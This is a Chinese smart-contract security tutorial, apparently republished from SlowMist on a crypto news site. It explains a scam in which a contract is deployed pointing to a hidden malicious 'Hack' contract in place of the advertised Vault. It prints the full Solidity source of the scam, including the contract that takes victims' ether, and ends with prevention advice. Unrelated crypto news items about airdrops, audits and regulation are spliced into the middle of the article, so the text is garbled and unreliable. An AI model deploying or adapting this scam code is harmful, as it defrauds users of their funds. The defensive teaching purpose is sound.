智能合约安全审计入门篇 —— 移花接木_BSP:ROLL

概述

上期我们了解了利用 tx.origin 进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。

前置知识

大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个 A 合约并告诉受害者我们会在部署 A 合约的构造函数中传入 B 合约的地址并将 B 合约开源,其实我们会在部署 A 合约时传入 C 合约的地址,如果受害者完全信任我们没有检查部署 A 合约的那笔交易,我们就完美的将恶意代码隐藏在了 C 合约中。我们可以从下图来理解这个逻辑:

用户以为的调用路径:

部署合约 A 传入合约 B 地址,这样调用路径为正常路径。

实际的调用路径:

部署合约 A 传入合约 C 地址,这样调用路径为非正常路径。

下面我们使用一个简单的例子来分析这个局:

恶意代码

// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract MoneyMaker {    Vault vault;    constructor(address _vault) {        vault = Vault(payable(_vault));    }    function makeMoney(address recipient) public payable {        require(msg.value >= 1, "You are so poor!");        uint256 amount = msg.value * 2;        (bool success, ) = address(vault).call{value: msg.value, gas: 2300}("");        require(success, "Send failed");        vault.transfer(recipient, amount);    }}contract Vault {    address private maker;    address private owner;    uint256 transferGasLimit;    constructor() payable {        owner = msg.sender;        transferGasLimit = 2300;    }    modifier OnlyMaker() {        require(msg.sender == maker, "Not MoneyMaker contract!");        _;    }    modifier OnlyOwner() {        require(msg.sender == owner, "Not owner!");        _;    }    function setMacker(address _maker) public OnlyOwner {        maker = _maker;    }    function transfer(address recipient, uint256 amount) external OnlyMaker {        require(amount <= address(this).balance, "Game Over~");        (bool success, ) = recipient.call{value: amount, gas: transferGasLimit}(            ""        );        require(success, "Send failed");    }    function withrow() public OnlyOwner {        (bool success, ) = owner.call{            value: address(this).balance,            gas: transferGasLimit        }("");        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}// This code is hidden in a separate filecontract Hack {    event taunt(string message);    address private evil;    constructor(address _evil) {        evil = _evil;    }    modifier OnlyEvil() {        require(msg.sender == evil, "What are you doing?");        _;    }    function transfer() public payable {        emit taunt("Haha, your ether is mine!");    }    function withrow() public OnlyEvil {        (bool success, ) = evil.call{value: address(this).balance, gas: 2300}(            ""        );        require(success, "Send failed");    }    receive() external payable {}    fallback() external payable {}}局分析

UENC公链3月中旬智能合约测试网上线:据官方消息,UENC基于UT-2000提案将会销毁原有空投量和测试网激励量,为了更好的增加UENC公链的全球曝光度,将通过UT-2001提案启用原有运营剩余量的4374999枚UENC进行全球品牌推广空投等活动,首期空投将于3月中旬智能合约测试网上线后开启,UT-2001提案细则如下:

374999枚:全球运营团队激励(包含全网KOL)

1000000枚:全球运营推广空投(高频品宣活动使用)

3000000枚:运营规划或销毁(据市场运营状况而定)[2022/3/10 13:49:02]

可以看到,上述代码中存在三个合约,我们先结合前置知识中的 A, B, C 三个角色来区分三个合约分别代表什么角色:

MoneyMaker 合约代表 A 合约;

Vault 合约代表 B 合约;

Hack 合约代表 C 合约。

所以用户以为的调用路径为:

MoneyMaker -> Vault。

而实际的调用路径为:

MoneyMaker -> Hack。

下面我们来看看攻击者如何完成局的:

1. Evil 部署 Vault(B) 合约并在合约中留存 100 ETH 资金,在链上将 Vault(B) 合约开源;

2. Evil 部署 Hack(C) 恶意合约;

zkTube项目智能合约代码已通过PeckShield安全审计:据zkTube官方最新消息,zkTube已完成了智能合约的安全审计,此次审计工作由“以太坊赏金猎人”全球 Top 3的安全审计公司PeckShield完成,并表示:未发现任何关键或重大问题。审计过程主要关注合约运行的整体安全性,通过对其智能合约代码库进行严格的评估,确保智能合约的可靠性和正确性。详情进展请关注zkTube官网信息。[2021/8/13 1:53:45]

3. Evil 放出消息说他将会部署一个开源的赚钱 MoneyMaker(A) 合约,部署时会将 Vault(B) 合约地址传入且会调用 Vault.setMacker() 将 maker 角色设置为 MoneyMaker 合约地址,任何人调用 MoneyMaker.makeMoney() 向合约中打入不少于一个以太都会得到双倍以太的回报;

4. Bob 收到消息,了解到 MoneyMaker 合约的存在,他看了 MoneyMaker(A) 和 Vault(B) 合约的代码并检查了 Vault(B) 合约中的余额发现逻辑确实如 Evil 说的那样,他在没有检查 MoneyMaker(A) 部署交易的情况下就相信了 Evil;

5. Bob 调用 MoneyMaker.makeMoney() 向合约中打入自己全部身家 20 ETH,在他满怀期待等着收到 Vault(B) 打来的 40 ETH 时等来的却是一句 "Haha, your ether is mine!"。

ShapeShift开源其FOX代币、空投和质押智能合约:官方消息,非托管加密货币交易所ShapeShift首席执行官Erik Voorhees宣布,今天开源了其FOX代币、空投和质押智能合约。[2021/7/28 1:19:43]

咋回事呢?其实这个局非常简单但是很常见。Evil 在部署 MoneyMaker 合约时传入的并不是 Vault 合约的地址,而是传入了 Hack 合约的地址。所以当 Bob 调用 MoneyMaker.makeMoney() 时并不会像他想像中的那样 MoneyMaker.makeMoney() 去调用 Vault.transfer() 回打给他双倍的以太,而是调用了 Hack.transfer() 抛出了一个事件:"Haha, your ether is mine!"。最后 Evil 调用 Vault.withrow() 将 Vault 合约中的 100 ETH 转出,并通过 Hack.withrow() 将 Bob 转入的 20 ETH 转出。

预防建议

以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。

慢雾科技

个人专栏

阅读更多

金色荐读

金色财经 善欧巴

迪新财讯

Chainlink预言机

观点:对智能合约的充分监管指导有助于消除其法律上的不确定性:法学教授Agata Ferreira发文表示,全球智能合约的市场规模正在快速增长。预计在2020年至2025年的预测期内,市场复合年增长率将达到17.4%。智能合约越来越多地部署在包括金融部门在内的广泛领域,如公共部门、供应链管理以及汽车、房地产、保险和医疗保健行业等。它们也是不断增长的去中心化金融 (DeFi) 的支柱。监管机构在应对和解决智能合约方面将面临越来越大的挑战,但迄今为止的立法举措表明,智能合约的使用没有重大障碍。

与此同时,对智能合约的不同定义和潜在法律处理的激增可能会导致法律不确定性和监管套利。因此,立法者应密切关注智能合约的发展,并仅在必要时介入以提供法律确定性、降低风险和保护脆弱的缔约方。这种衡量和基于风险的监管方法将支持创新、利用机会并将智能合约创新整合到现有法律体系中。充分的监管指导还有助于消除法律上的不确定性,提升行业、投资者和消费者的市场信心。(Cointelegraph)[2021/6/19 23:50:04]

区块律动BlockBeats

白话区块链

金色早8点

Odaily星球日报

MarsBit

Arcane Labs

动态 | pEOS发布智能合约 宣布在EOS上实施UTXO:据MEET.ONE 报道,pEOS团队今日发布一项智能合约,宣布在EOS上实施UTXO。 Unspent Transaction Output (UTXO)是指未消费的交易输出。它最初运用于比特币,是一个包含交易数据和执行代码的数据结构,可以简单理解为某地址已经收到的但是尚未消费出去的token。钱包的总余额是通过跟踪和添加该钱包可用的所有UTXO来计算。用户不能只消费一部分UTXO,它是作为一个整体来消费的。[2019/6/27]

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

金宝趣谈

[0:0ms0-7:991ms